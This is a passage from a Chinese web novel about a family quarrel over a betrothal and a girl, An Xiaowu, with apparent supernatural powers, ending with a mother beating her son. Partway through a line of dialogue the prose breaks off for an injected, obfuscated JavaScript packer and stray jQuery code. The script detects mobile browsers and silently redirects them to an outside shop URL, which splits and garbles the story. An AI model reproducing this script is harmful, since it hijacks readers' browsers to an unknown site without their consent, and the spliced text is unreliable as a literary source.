“不拜堂?你怎么能答应她不拜堂!”
孙芳听完赵河的话后,激动到无法控制自己的情绪:“你忘记道长说的话了吗?如果不能和安小舞在今日拜堂,未来两年他都不可能恢复如常,直到两年后的吉日他们拜堂后才行!”
“你看看儿子的样子,你怎么让他在这般过两年?!”
孙芳说到后面声音哽咽,掩面落泪。
赵河最看不得孙芳哭了,这会儿是急得上前捧着她的脸,又是帮她擦眼泪又是哄的。
“夫人,你可别哭了,你是不知道小舞的能耐,咱家厌儿,真不配啊。”
孙芳恼恨地推开赵河的手:“什么能耐?他们安家人丁稀薄,安强和刘氏又不喜欢她,她上面那个长姐不就被刘氏卖去别人家当填房了吗?如果不是咱们,安小舞还不知道会被刘氏卖哪里去呢!”
“咱们家是不够富裕,可是真心把小舞当厌哥新妇对待的,她在赵家住的这几日,我对她不好吗?还有现在新住的屋子,我也是选得宽敞明亮的,屋子里的陈设都是从库房里拿出来的新的,我怕怠慢她,连自己的嫁妆都拿来给她用了,她还有什么不满意的?”
眼看着孙芳的声音越来越大,赵河想到安小舞的“耳目”众多,很怕这些话传到安小舞耳朵里,吓得去捂孙芳的嘴。
“夫人呐,你可小点声吧!”
孙芳挣脱不开气得直落泪。
赵河怕孙芳再说出什么话来,语速飞快地说道:“夫人难道就没想过,小舞昨晚被赵福欺负,是怎么从赵福和赵杨氏手里逃脱,还断了赵福的一条腿的?”
孙芳双眼含泪地看着赵河。
见她愿意听自己说话了,赵河才松开手,在孙芳身下坐下,把他去安村这一路发生的事情讲了一遍。
孙芳听着听着忘记了哭,躯体轻颤吓得紧紧抓着赵河的手,结结巴巴地问道:“那听夫君的意思,安小舞她、她很可能不是人呐!”
赵河“哎呦”了一声,不管安小舞的“耳目”在不在,先找补道:“夫人呐,这话可不能乱说,天下之大奇人异事多了去了,小舞这是有能耐的神人,咱家厌儿能和小舞定亲,都是前世修来的福分,这是他的大造化。”
孙芳的脑子乱糟糟的,喃喃重复着:“是是,是厌儿的大造化,所以,小舞和厌儿的事情怎么办?就这么、这么耗着么?”
“你明日去观里再找一趟道长吧,算了,我跟你一起去,咱们把事情都和道长讲一遍,听听道长怎么说。”
赵河建议道。
“行,那就明天去观里见了道长再说。”孙芳也逐渐冷静下来,忽然想起来:“对了,三弟怎么样了?你把三弟绑去安村的时候,娘发了好大的脾气,我和大嫂都不敢出来,后来她就找人跟她一起又去了安村,你们可曾碰见面?都这么晚了,也没听见隔壁远有动静,娘和三弟还没回来是么?”
提及赵福,赵河直叹气。
他虽然没有亲眼所见,可赵福那惨叫声,他听得汗毛都立起来了,就算赵福没有死,那也是要脱了一层皮的。
赵河避重就轻,简单说了两句:“我们走的山路,不过娘是接到了三弟,领着三弟去县城看大夫去了。”
孙芳没有听出来赵福的话外音,喃喃出声道:“三弟没事就好,没事就好。”
听听道长怎么说吗?
坐在床上的安小舞抚摸着怀里灵宝柔顺的毛发:“灵宝觉得,我们要跟着去吗?”
【主人,灵宝不能去。】
安小舞没有细问,既然灵宝说不能去,那就不去了。
安小舞打了个哈欠,既然灵宝说不能去,那就不去了,睡觉。
这一觉安小舞并没能睡个自然醒,刚到卯时,外面就吵吵嚷嚷的,安小舞迷迷糊糊的听出来,这个大嗓门正是赵杨氏。
安小舞从床上坐起来,困倦地打了个哈欠。
“她回来的挺早的,这是一夜没睡吗?”
灵宝也挺困的,在床上翻了个身不肯起来。
安小舞洗漱完才勉强精神了些,拉开了房门。
院子里,赵河正赤着上半身跪在地上,赵杨氏的手里拎着一根棍子,正在冷着脸训斥赵河。
“赵福是你的亲弟弟,你身为二哥,竟然跟一个外人欺负他,你的心是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14145947|150224||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
什么做的?你是想要他死在山上吗?”
赵河低着头说道:“娘,小舞不是外人。”
“啪!”
棍子打在了赵河的后背上,赵河的后背当即红肿了起来,他愣是一声没吭。
“你知道阿福伤的有多重吗?”
赵杨氏气得浑身颤抖:“我找到阿福的时候,他浑身是伤,一条腿露着白骨,那几只畜生正在那啃噬着他的腿骨,他……”
赵杨氏说不下去了,心疼的满脸都是泪,气不过的她,拿着棍子用力打着赵河的后背,仿佛要把赵福所遭受的罪,都从赵河身上讨回来。
“娘,别打了,娘,既然三弟已经受伤了,家里的活还是要人做的,你把赵河打坏了,咱们一家人吃什么啊!”
孙芳哭着大声喊着。
站在廊下的安小舞听着这话,嘴角抽了抽。
屋里的灵宝忽然就
从窗户飞跃了出来,蹿入了安小舞的怀里。
赵杨氏打赵河的动作微微停顿,很快又反应过来,用手里的棍子指着孙芳:“你说什么胡话呢?咱家吃什么喝什么,和赵河有什么关系?”
“我这个二儿子啊,眼里除了你就是那个傻子,什么时候看见过我这个亲娘?”
赵杨氏说完更气了,高举着棍子又想继续打。
“赵婆婆,适可而止哦。”
安小舞出现在赵杨氏身边,用手抓住了赵杨氏手里的棍子。
“是你?!”赵杨氏看见安小舞,气不打一处来:“你竟然敢出现在我跟前,我连你一起打!”
安小舞对于赵杨氏这种不自量力的行为,很是不解:“你这么大年纪了,怎么还没有一个孩童懂事呢?”
“换成赵厌过来,他都知道识时务者为俊杰这几个字是什么意思。”
“轮得到你说教我?放手!”
赵杨氏想把手里的棍子抽出来,发现根本抽不动。
“安小舞,咱们皓汉国最注重礼仪,我是你的长辈,你就要敬我,你对赵福动手这事儿,我已经告了衙门,要不了多久,衙门就会派人来抓你,你就等着吃牢饭吧!”